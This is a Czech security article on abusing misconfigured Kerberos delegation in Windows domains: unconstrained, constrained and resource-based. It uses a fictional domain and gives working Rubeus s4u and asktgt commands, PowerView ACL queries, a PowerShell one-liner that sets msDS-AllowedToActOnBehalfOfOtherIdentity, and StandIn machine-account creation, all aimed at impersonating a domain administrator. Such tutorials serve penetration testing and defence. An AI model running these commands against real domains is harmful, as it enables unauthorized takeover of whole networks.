Zneužití delegací v prostředí Windows

V dnešním článku se podíváme na možnost eskalace / získání neoprávněného přístupů ke strojům ve Windows doméně pomocí nesprávné konfigurace různých typů delegací. Konkrétně se podíváme na tři druhy delegací: Unconstrained, Constrained a Resource-Based. I drobná chyba v konfiguraci může způsobit kompromitaci celé domény

Kerberos

Nejprve si krátce připomeňme, jak funguje síťový autentizační protokol Kerberos. Když se uživatel, např. přihlásí na svou pracovní stanici, stroj pošle tzv. AS-REQ zprávu s žádostí o TGT ticket pomocí „tajného klíče“ odvozeného od hesla uživatele do KDC (Key Distribution Center) – doménový řadič. KDC ověří „tajný klíč“ pomocí hesla, které má pro daného uživatele uložené v Active Directory. KDC po úspěšném ověření v odpovědi vrátí TGT ticket prostřednictvím AS-REP zprávy. TGT ticket obsahuje identitu uživatele a je zašifrován tajným klíčem KDC (krbtgt účet). Zmíněný TGT je dále využit k prokazování totožnosti uživatele. Když se uživatel pokusí přistoupit ke službě podporující ověřování pomocí Kerberos (např. sdílení složka), stanice pro danou službu vyžádá přes TGT-REQ tzv. TGS ticket pod identitou uživatele pomocí jeho TGT ticketu. KDC v odpovědi (TGS-REP) vrátí odpovídající TGS ticket, který je předložen dané službě, na základě čehož služba rozhodne, zda má uživateli udělit přístup.

Delegace obecně umožňuje uživateli nebo stroji jednat jménem jiného uživatele ve vztahu k nějaké službě, což se např. používá v případech, kdy se uživatel autentizuje vůči webovému front-endu, který následně potřebuje uživatele impersonovat vůči back-endové databázi.

Unconstrained Delegation

V prostředí Windows existuje několik druhů delegací, nejprve si popíšeme nejstarší, poprvé představenou již s Windows 2000 – Unconstrained Delegation.

Pokud má stroj nakonfigurovanou unconstrained delegaci, KDC přiloží kopii uživatelského TGT ticketu v rámci TGS ticketu (ticketu služby běžící na daném stroji). Použijeme-li příklad výše, když uživatel přistupuje k webovému serveru, tak stroj z TGS ticketu vytáhne TGT ticket uživatele a uloží ho do paměti. Následně, když webový server potřebuje přístup k DB jménem tohoto uživatele, použije jeho TGT k vyžádání TGS ticketu pro databázovou službu.

Zajímavý aspekt unconstrained delegace, TGT ticket je uložen do paměti bez ohledu na to, ke které službě uživatel přistupuje – pokud tedy např. administrátor otevře sdílenou složku nebo přistoupí k jakékoli jiné službě na daném stroji (využívající Kerberos autentizaci), jeho TGT ticket se uloží do paměti.

Kdokoliv s privilegovaným přístup ke stroji s nastavenou unconstrained delegací je schopný z paměti extrahovat uložené TGT tickety a impersonovat dané uživatele (případně stroje) vůči dalším službám v doméně.

K zjištění strojů s povolenou unconstrained delegací lze využít volně dostupné nástroje, např. Bloodhound, případně přímo LDAP dotazem:

"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"

Pozn: Doménový řadič má vždycky povolenou unconstrained delegaci.

Útočníkovi tedy stačí, jak již bylo zmíněno, získat privilegovaný přístup na daný stroj a následně extrahovat tickety z paměti. V případě, kdy v paměti nejsou uloženy „zajímavé“ tickety, existující způsoby, jak autentizaci vzdáleně vynutit pro ostatní stroje, např. přímo pro doménový řadič, díky čemuž je útočník schopný kompletně kompromitovat celou doménu.

Constrained Delegation

Constrained delegace byla zavedena se systémem Windows 2003 jako bezpečnější způsob provádění Kerberos delegace v rámci služeb. Delegování může být nakonfigurováno jak na uživatelský účet, tak na účet stroje prostřednictvím atributu msds-allowedtodelegateto:

"(&(objectCategory=computer)(msds-allowedtodelegateto=*))"

Účet s povolenou constrained delegací využívá faktu, že má povoleno sám sobě zažádat o ticket jiného uživatele, tzv. S4U2Self. Je tedy možné impersonovat – zažádat o TGT ticket – jiného uživatele vůči službě uvedené v atributu „msds-allowedtodelegateto“. Následně se provede tzv. S4U2Proxy, kdy je TGT ticket ze S4U2Self převeden do podoby, aby bylo možné impersonaci jiného uživatele provést. K provedení útoku je možné použít veřejně dostupné nástroje, např. Rubeus.

Pro lepší představu, postup zneužití ukážeme na smyšleném příkladu. V tomto případě může DB jednat jménem libovolného uživatele vůči službě CIFS na DC. CIFS protokol umožnuje vypsání sdílených souborů nebo přenášet soubory.

[
  {
    "dnshostname": "db.aec.local",
    "samaccountname": "DB$",
    "msds-allowedtodelegateto": [
      "cifs/dc.aec.local/aec.local",
      "cifs/dc.aec.local",
      "cifs/dc",
      "cifs/dc.aec.local/aec",
      "cifs/dc/aec"
    ]
  }
]

K úspěšnému provedení delegace je zapotřebí TGT ticket účtu, který je důvěryhodný pro delegovaní – v našem případě tedy DB$. Nejjednodušší způsob získání takového ticketu je privilegovaný přístup na DB stroj (extrakce TGT z paměti), případně vynucení vzdálené autentizace vůči stroji s unconstrained delegací.

Příkaz níže provede oba zmíněné kroky, S4U2Self a S4U2Proxy, čímž získáme TGT ticket doménového administrátora „adminDA“.

Rubeus.exe s4u /impersonateuser:adminDA /msdsspn:cifs/dc.aec.local /user:db$ /ticket:[...snip...] /nowrap

  • /impersonateuser uživatel, kterého chceme impersonovat a víme, že má přístup na stroj DC
  • /msdsspn SPN služby, vůči které DB má povoleno dělat delegaci
  • /user účet s povolenou delegací
  • /ticket TGT ticket pro /user

Z pohledu útočníka je služba CIFS vcelku vhodná, neboť mu umožní jednoduchý lateral movement v rámci domény. Co když by byla povolená delegace vůči jiné službě, např. time?

[
  {
    "dnshostname": "db.aec.local",
    "samaccountname": "DB$",
    "msds-allowedtodelegateto": [
      "time/dc.aec.local/aec.local",
      "time/dc.aec.local",
      "time/dc",
      "time/dc.aec.local/aec",
      "time/dc/aec"
    ]
  }
]

Většina služeb běží v kontextu účtu (SYSTÉM) počítače, např. DB$. Proto všechny servisní tickety, ať už pro CIFS, TIME nebo HOST atd., budou šifrovány stejným klíčem. SPN se však při ověřování ticketu nezohledňuje. Navíc, SPN informace v ticketu není nijak šifrovaná a lze ji tedy libovolně měnit – můžeme požádat o servisní ticket pro službu TIME, upravit SPN na jinou službu, třeba CIFS, a ta ticket přijme jako validní (podle společnosti Microsoft je popsané chování „by design“). Nástroj Rubeus má ke změně SPN parametr /altservice:

Rubeus.exe s4u /impersonateuser:adminDA /msdsspn:time/dc.aec.local /altservice:cifs /user:db$ /ticket:[...snip...] /nowrap

Resource-Based Constrained Delegation

Povolení unconstrained / constrained delegace na stroji vyžaduje uživatelské oprávnění SeEnableDelegationPrivilege na doménovém řadiči, které je přiděleno pouze Doménovým a Enterprise administrátorům. S Windows 2012 se objevil nový typ delegace nazvaný Resource-Based Constrained Delegation (RBCD) umožňující konfiguraci delegace nastavovat raději na „target“ než na „source“.

Pro srovnání – constrained delegace se nastavuje na "front-end" službě prostřednictvím jejího atributu msDS-AllowedToDelegateTo. U výše uvedeného příkladu byla v atributu msDS-AllowedToDelegateTo u stroje DB přidělena služba cifs/dc.aec.local, což umožnilo účtu počítače DB vydávat se za libovolného uživatele vůči jakékoli službě na DC.

RBCD obrací tento koncept a místo toho dává kontrolu do rukou „back-endové“ služby prostřednictvím nového atributu nazvaného msDS-AllowedToActOnBehalfOfOtherIdentity. K úpravě zmíněného atributu také není vyžadováno mít oprávnění SeEnableDelegationPrivilege. Místo toho je dostačující oprávnění jako WriteProperty, GenericAll, GenericWrite nebo WriteDacl nad objektem počítače, díky čemuž je RBCD pravděpodobnější k eskalaci privilegií / lateral movement.

K úspěšnému provedení útoku musejí být splněny následující předpoklady:

  • Na cílovém stroji můžeme upravovat atribut msDS-AllowedToActOnBehalfOfOtherIdentity
  • Vlastnit jiný účet, který má SPN

Pro zjištění strojů, u kterých můžeme měnit potřebný atribut lze využít např. PowerShell modul Powerview. Příkaz níže projde každý stroj v doméně, zjistí ACL a vyfiltruje ty, u kterých jsou nastaveny potřebná oprávnění:

powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "[SID domény]-[\d]{4,10}" }

Výstup příkazu si opět ukážeme na ilustračním příkladu:

AceQualifier           : AccessAllowed
ObjectDN               : CN=DC,OU=Domain Controllers,DC=aec,DC=local
ActiveDirectoryRights  : Self, WriteProperty
ObjectAceType          : All
ObjectSID              : [SID domény]-1000
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : InheritedObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : [SID domény]-1103
AccessMask             : 40
AuditFlags             : None
IsInherited            : True
AceFlags               : ContainerInherit, Inherited
InheritedObjectAceType : Computer
OpaqueLength           : 0

Můžeme vidět, že uživatelé v doménové skupině [SID domény]-1103 mají oprávnění WriteProperty ke všem atributům u stroje DC (viz ObjectAceType), čímž je splněna první podmínka k provedení útoku.

Běžným prostředkem k získání účtu s SPN je použití účtu počítače (potřeba privilegovaný přístup na daném stroji). Řekněme, že máme oprávnění lokálního administrátora na uživatelské stanici WKSTN .

powershell Get-DomainComputer -Identity WKSTN -Properties objectSid

objectsid                                   
---------                                   
[SID domény]-1111

Hodnota atributu msDS-AllowedToActOnBehalfOfOtherIdentity musí být tzv. „security descriptor“ (Security Descriptor Definition Language) v binárním formátu. Příkaz pro nastavení potřebného „descriptoru“ a přiřazení hodnoty k danému atributu na stroji DC:

powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[SID domény]-1111)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb}

Nyní opět využijeme nástroj Rubeus s modulem S4U k získání potřebného TGT ticketu. Hodnota parametru /ticket je TGT ticket námi ovládaného stroje WKSTN:

Rubeus.exe s4u /user:WKSTN$ /impersonateuser:Administrator /msdsspn:cifs/dc.aec.local /ticket: ...snip... /nowrap

Vzniklý TGT ticket impersonuje uživatele Administrator vůči službě CIFS na stroji DC.

Co dělat v případě, kdy nemáme přístup k nějakému stroji s právy lokálního administrátora? Defaultní nastavení umožňuje každému uživateli přidat do domény 10 strojů, viz atribut ms-DS-MachineAccountQuota:

powershell Get-DomainObject -Identity "DC=aec,DC=local" -Properties ms-DS-MachineAccountQuota

ms-ds-machineaccountquota
-------------------------
                       10

Nástroj StandIn má funkcionalitu k jednoduchému vytvoření počítače v doméně s náhodným heslem:

StandIn.exe --computer MyOwnComputer --make

[?] Using DC    : dc.aec.local
    |_ Domain   : aec.local
    |_ DN       : CN= MyOwnComputer,CN=Computers,DC=aec,DC=local
    |_ Password : tYBiIBvQLUZnmVr

[+] Machine account added to AD..

Vypočítání potřebných hashů:

Rubeus.exe hash /password: tYBiIBvQLUZnmVr /user: MyOwnComputer$ /domain:aec.local

Následně zažádání o TGT ticket nově vytvořeného počítače:

Rubeus.exe asktgt /user:MyOwnComputer$ /aes256:[hash] /nowrap

Zbytek útoku už je pak stejný.

Závěr

V článku jsme si popsali různé druhy delegací a možné způsoby jejich zneužití. Pro útočníka představují špatně nakonfigurované delegace žádaný cíl, neboť s jejich pomocí je celkem snadné získat v rámci domény velmi vysoká oprávnění, případně přímo získat privilegovaný přístup na doménový řadič.